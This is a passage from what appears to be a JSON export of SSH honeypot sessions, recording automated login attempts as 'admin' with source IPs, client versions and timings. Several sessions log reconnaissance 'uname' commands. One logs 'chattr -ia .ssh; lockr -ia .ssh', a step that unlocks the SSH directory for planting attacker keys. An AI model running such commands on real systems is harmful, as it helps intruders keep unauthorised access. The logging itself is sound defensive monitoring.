  "name": "bold-lunar-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 48828,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T12:43:14.747761+00:00",
  "ended_at": "2026-08-23T12:43:15.173078+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "31bc3d6d-1fa1-4918-8c97-25f7e4a80d56",
  "name": "nameless-thorny-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "212.227.188.160",
  "src_port": 38210,
  "username": "admin",
  "client_version": "SSH-2.0-libssh2_1.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T12:25:59.067197+00:00",
  "ended_at": "2026-08-23T12:26:00.141952+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "edf12271-8bcc-4b9e-8df6-3b527971318f",
  "name": "jovial-merry-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 54424,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T12:06:38.236658+00:00",
  "ended_at": "2026-08-23T12:06:47.939959+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0da3bad1-25b4-4606-8738-b6394e15511d",
  "name": "prickly-solemn-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 46476,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T11:43:34.808142+00:00",
  "ended_at": "2026-08-23T11:43:35.262680+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d2cd89d3-909a-4d84-bb29-524cbfd6467f",
  "name": "courtly-gloomy-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 40646,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T11:37:13.890560+00:00",
  "ended_at": "2026-08-23T11:37:17.853936+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d3fa7bf8-5c81-4f60-8990-afe62f27eb2a",
  "name": "fickle-stormy-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 37104,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T11:06:38.301955+00:00",
  "ended_at": "2026-08-23T11:06:47.997260+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f691d6fa-9146-4f08-aa31-ed8aa61c0436",
  "name": "emerald-honest-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 51788,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T10:44:40.935060+00:00",
  "ended_at": "2026-08-23T10:44:41.926236+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7075a7b3-de6a-4cfa-b833-9e31cdc2d465",
  "name": "pristine-drifting-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 45276,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T10:06:36.207713+00:00",
  "ended_at": "2026-08-23T10:06:45.893241+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "de282aab-d5e7-4b3b-95c1-d6751136946e",
  "name": "nautical-wiry-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.202.9.120",
  "src_port": 42414,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T09:37:14.839570+00:00",
  "ended_at": "2026-08-23T09:37:15.546062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "489c5b68-d1fb-4840-a8c4-5486a51f6a13",
  "name": "amiable-nimble-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 45340,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T09:35:57.080852+00:00",
  "ended_at": "2026-08-23T09:35:58.941503+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c5a3932d-fcc1-4f6e-8349-e285746c109e",
  "name": "solemn-thawing-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 41864,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T09:06:35.192656+00:00",
  "ended_at": "2026-08-23T09:06:44.885394+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ab87592a-124e-4741-a02c-6a01dd0ea84d",
  "name": "spirited-mighty-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 37992,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T09:01:44.458499+00:00",
  "ended_at": "2026-08-23T09:01:48.659660+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "089f49e8-46aa-4b38-805a-8cdd1fa0895d",
  "name": "wiry-verdant-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41494,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:37:40.742021+00:00",
  "ended_at": "2026-08-23T08:37:42.513008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bb4f7c1-de82-40e4-8130-dc7c4565b6b9",
  "name": "thawing-pleasant-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60670,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 176,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:37:35.101448+00:00",
  "ended_at": "2026-08-23T08:37:42.514219+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "c76a202e-aab7-4ab0-864c-9a751190b54b",
  "name": "silent-dapper-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51836,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 173,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:37:32.142797+00:00",
  "ended_at": "2026-08-23T08:37:35.820227+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "de20e773-67bb-4b7b-a603-2b6a20e6cf8c",
  "name": "grassy-russet-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 32890,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:32:37.159831+00:00",
  "ended_at": "2026-08-23T08:32:37.592298+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7f1f3d03-cfa3-45b0-b398-fc32b1a1c310",
  "name": "cunning-bashful-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 50660,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:06:35.707174+00:00",
  "ended_at": "2026-08-23T08:06:45.401517+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "af0515f4-fa8c-4ebe-b224-dbd8f26b0cff",
  "name": "autumn-boreal-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 44622,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T07:34:05.035173+00:00",
  "ended_at": "2026-08-23T07:34:06.496562+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2809a97c-45e3-44d6-839a-ed6f09560dd1",
  "name": "deft-gloomy-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "35.195.244.210",
  "src_port": 46300,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T07:17:23.268573+00:00",
  "ended_at": "2026-08-23T07:17:24.943681+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c00a0ae-c774-4852-b263-be673d8ae418",
  "name": "shaded-breezy-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 45312,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T07:08:57.290113+00:00",
  "ended_at": "2026-08-23T07:09:07.002005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d4ba4b7-579c-4b34-9e9a-ac3056094fb3",
  "name": "coral-fabled-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 44026,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T06:32:01.881907+00:00",
  "ended_at": "2026-08-23T06:32:03.867943+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6c0cbbc2-64f2-4e75-9650-ec361536ea4c",
  "name": "serene-bronzed-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 51582,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T05:31:14.649211+00:00",
  "ended_at": "2026-08-23T05:31:15.896737+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c7ff5dd2-db37-4e6a-b7e0-52fb97e28573",
  "name": "proud-cheerful-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 35600,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T04:29:32.279054+00:00",
  "ended_at": "2026-08-23T04:29:33.649895+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cf5839af-8cdc-4d37-a31a-c504020dfc42",
  "name": "valiant-brisk-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 33644,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T03:23:50.244909+00:00",
  "ended_at": "2026-08-23T03:23:51.411170+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3bd1965-787d-4309-9e8a-a37a6e3faff7",
  "name": "idle-stormy-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 58000,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T02:49:00.329644+00:00",
  "ended_at": "2026-08-23T02:49:02.636316+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f228595f-c501-46c4-99f8-6ba515295079",
  "name": "leafy-craggy-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 48990,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T02:23:42.144854+00:00",
  "ended_at": "2026-08-23T02:23:43.175926+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "72f4885b-c327-480e-84e0-4bc6284d4aa6",
  "name": "jovial-pleasant-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 53938,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T01:17:39.749100+00:00",
  "ended_at": "2026-08-23T01:17:40.228487+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "50d8261c-2b8a-4d6e-b889-bcc7ce510f56",
  "name": "merry-prickly-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "35.237.94.18",
  "src_port": 38132,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T00:28:27.222996+00:00",
  "ended_at": "2026-08-23T00:28:27.239147+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3280
 },
 {
  "id": "68e45dc7-6d69-423b-9f92-4d4c7011a0b4",
  "name": "thorny-sullen-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "35.237.94.18",
  "src_port": 41608,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:28:12.956598+00:00",
  "ended_at": "2026-08-23T00:28:13.249714+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ca53e19-333a-4a9f-89b3-d4b3f41e5c4a",
  "name": "primal-tawny-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "35.237.94.18",
  "src_port": 39090,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:28:05.964951+00:00",
  "ended_at": "2026-08-23T00:28:06.943706+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e5f1e9d-85b0-4662-9a76-47fc87a1b451",
  "name": "feral-quaint-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 42756,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:19:37.201906+00:00",
  "ended_at": "2026-08-23T00:19:37.525554+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8ac5ff52-cb5e-4f6b-bea8-5d5192af57bb",
  "name": "honest-flinty-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 51848,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T23:19:39.019443+00:00",
  "ended_at": "2026-08-22T23:19:39.486005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7473b2d3-0544-4e2f-8545-36b01df67e8d",
  "name": "snowy-graceful-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "212.227.188.160",
  "src_port": 47924,
  "username": "admin",
  "client_version": "SSH-2.0-libssh2_1.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T22:53:21.078996+00:00",
  "ended_at": "2026-08-22T22:54:20.723560+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "552909d1-d46d-4ea4-9d37-f5d8c7428cd3",
  "name": "tranquil-dutiful-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 3250,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T22:51:02.685216+00:00",
  "ended_at": "2026-08-22T22:51:06.080493+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "23f7cb36-5d22-4ea4-a654-300cf6149788",
  "name": "hearty-brazen-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 51398,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T22:21:44.509906+00:00",
  "ended_at": "2026-08-22T22:21:45.417550+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a4c9ccb-556d-4d8c-84a4-6467a7efabfb",
  "name": "thawing-loyal-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 37556,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T21:13:08.391353+00:00",
  "ended_at": "2026-08-22T21:13:09.207052+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a59fb516-1fe2-4f7f-93cb-f16e6762550c",
  "name": "placid-gleaming-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 35344,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T20:10:30.262055+00:00",
  "ended_at": "2026-08-22T20:10:33.641319+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bdaaddfd-e88b-4343-8a12-885bb560a5d3",
  "name": "curious-merry-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 57932,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T20:10:00.587192+00:00",
  "ended_at": "2026-08-22T20:10:02.453332+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "87cb7abc-47d1-4037-a027-3db1ba6bc927",
  "name": "dappled-oaken-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 44460,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T19:03:15.879630+00:00",
  "ended_at": "2026-08-22T19:03:16.345603+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "575b173f-965a-44e3-8720-e846f91b7ec5",
  "name": "kindly-solar-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 40084,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T18:11:48.216589+00:00",
  "ended_at": "2026-08-22T18:11:49.629822+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d4bb9962-f343-4784-881e-b46a8bd7cbd7",
  "name": "subtle-quiet-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 52190,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T17:28:21.632145+00:00",
  "ended_at": "2026-08-22T17:28:25.044816+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "20d6581d-91fc-48ac-9dfb-be4494cc23ee",
  "name": "mighty-barren-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 49844,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T17:10:31.951008+00:00",
  "ended_at": "2026-08-22T17:10:33.774823+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81fcca34-39af-4bac-8277-fdfdbdc21ab4",
  "name": "dusty-canny-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 52526,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T15:56:51.430016+00:00",
  "ended_at": "2026-08-22T15:56:51.931583+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a09a5da5-7022-401b-9561-fccf9c36f4d4",
  "name": "quaint-fringed-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 39558,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 273,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-22T15:24:32.457559+00:00",
  "ended_at": "2026-08-22T15:24:32.585761+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 836
 },
 {
  "id": "1b431412-ded8-4f04-9778-10c006a56ce8",
  "name": "gnarled-frugal-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 57206,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T15:02:12.601841+00:00",
  "ended_at": "2026-08-22T15:02:14.189341+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "389d4b08-c578-44f5-ada2-f0df139797a9",
  "name": "misty-ancient-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 33906,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T14:00:26.961851+00:00",
  "ended_at": "2026-08-22T14:00:27.884424+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e788e0bd-9b21-45cb-9a71-3ea3be650d73",
  "name": "courtly-fabled-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 27384,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T13:20:08.407286+00:00",
  "ended_at": "2026-08-22T13:20:12.183113+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be666496-5007-437a-a0b3-08af73c03bb7",
  "name": "lanky-cobalt-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 54964,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T12:48:32.413233+00:00",
  "ended_at": "2026-08-22T12:48:33.276617+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc6ed3ce-9205-440b-93e2-61f2855f8c1c",
  "name": "proud-gleaming-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.124",
  "src_port": 37146,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 585,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:38:47.813531+00:00",
  "ended_at": "2026-08-22T12:38:52.060920+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4a7ab7b3-d06f-4ada-a81d-cac8436035d6",
  "name": "eager-inland-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.124",
  "src_port": 45874,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 561,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-22T12:34:25.538047+00:00",
  "ended_at": "2026-08-22T12:34:28.870820+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2576936e-664a-41e8-a3f5-bafa741a7f74",
  "name": "stormy-glacial-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.124",
  "src_port": 36368,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T12:32:43.715320+00:00",
  "ended_at": "2026-08-22T12:32:50.912906+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "015a32b3-9c3e-4301-9bb3-7355134a9ae6",
  "name": "buoyant-knotted-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.124",
  "src_port": 49034,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
